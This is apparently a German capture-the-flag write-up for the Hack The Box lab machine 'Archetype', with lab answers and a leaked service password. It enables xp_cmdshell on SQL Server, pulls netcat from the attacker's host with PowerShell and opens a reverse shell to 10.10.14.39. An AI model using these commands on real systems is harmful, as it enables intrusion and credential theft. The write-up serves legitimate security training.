Archetype | HTB Starting Point Writeup T2M01

Archetype | HTB Starting Point Writeup T2M01

In diesem Writeup geht es um die Starting Point Maschine "Archetype" auf Hack The Box.

Wie immer, dass passende Video zum Beitrag hier: https://youtu.be/xTgUc7h8VGw


  1. An welchem TCP-Port befindet sich ein Datenbankserver?
    1433

  1. Wie lautet der Name der nicht-administrativen Freigabe, die über SMB verfügbar ist?
    backup

  1. Wie lautet das Kennwort, das in der Datei auf der SMB-Freigabe angegeben ist?M3g4c0rp123

    unter dem backups Share finden wir die Zugangsdaten für den User ARCHETYPE\\sql_svc

  1. Welches Skript aus der Impacket-Sammlung kann verwendet werden, um eine authentifizierte Verbindung zu einem Microsoft SQL Server herzustellen?mssqlclient.py

  1. Welche erweiterte gespeicherte Prozedur von Microsoft SQL Server kann verwendet werden, um eine Windows-Befehlsshell zu starten?
    xp_cmdshell

    Wir prüfen als erstes, welche Rolle wir auf dem Server haben.

Wenn wir nun versuchen den Befehl xp_cmdshell auszuführen, erkennen wir am Fehler, dass wir die Funktion erst aktivieren müssen.

Nach kurzem prüfen der Windows-Docs, finden wir die passenden Befehle zum aktiveren hier.

-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
GO

-- To update the currently configured value for advanced options.
RECONFIGURE;
GO

-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
GO

-- To update the currently configured value for this feature.
RECONFIGURE;
GO

-- To set "show advanced options" back to false
EXECUTE sp_configure 'show advanced options', 0;
GO

-- To update the currently configured value for advanced options.
RECONFIGURE;
GO

Zusatz: Als kleinen Zusatz, können wir uns nun für die letzten Schritte noch einen angenehmeren Zugang zum System per Reverse-Shell beschaffen.

als erstes laden wir uns dafür die Netcat Binary herunter.

Dann starten wir einen Python HTTP-Server in dem Verzeichnis, wo sich die nc64.exe Binary befindet.

Wir lassen nun noch einen Netcat-Listener auf Port 443 laufen.

Und können jetzt die Binary mit dem passenden PowerShell-Befehl per xp_cmdshell herunterladen.

xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget <http://10.10.14.39/nc64.exe> -outfile nc64.exe

Wie wir sehen, war der Download erfolgreich. Nun bringen wir noch die CMD zu dem Listener

xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; .\\nc64.exe -e cmd.exe 10.10.14.39 443"

Damit erscheint jetzt bei unserem Netcat-Listener eine CMD-Session in der wir die weiteren Schritte ausführen können.

💡 Hier kann die erste Flag nun unter dem User-Desktop gefunden werden.


  1. Welches Skript kann verwendet werden, um mögliche Pfade zur Erhöhung der Berechtigungen auf Windows-Hosts zu suchen?
    winPease

    Als erstes Downloaden wir die WinPease Binary auf unseren Linux Host.
wget <https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe>

Nun starten wir in dem Verzeichnis wieder einen Python Webserver

Anschließend Downloaden wir die Binary auf unseren Zielhost

powershell wget <http://10.10.14.39/winPEASx64.exe> -outfile winPEASx64.exe

  1. Welche Datei enthält das Passwort des Administrators?
    ConsoleHost_history.txt

    Das Tool können wir jetzt mit .\winPEASx64.exe ausführen.Nachdem das Tool durchgelaufen ist entdecken wir folgende Ausgabe:

Dies sagt uns, dass eine History-Datei für PowerShell vorhanden ist, welche eventuell sensible Daten enthält. Schauen wir also nach.


Bingo! in der History finden wir die Credentials für den Administrator-Account


Flags

User Flag: Die erste Flag befindet sich auf dem User-Desktop

Root Flag: Die Zweite Flag finden wir auf dem Administrator-Desktop mithilfe des Administratorpassworts.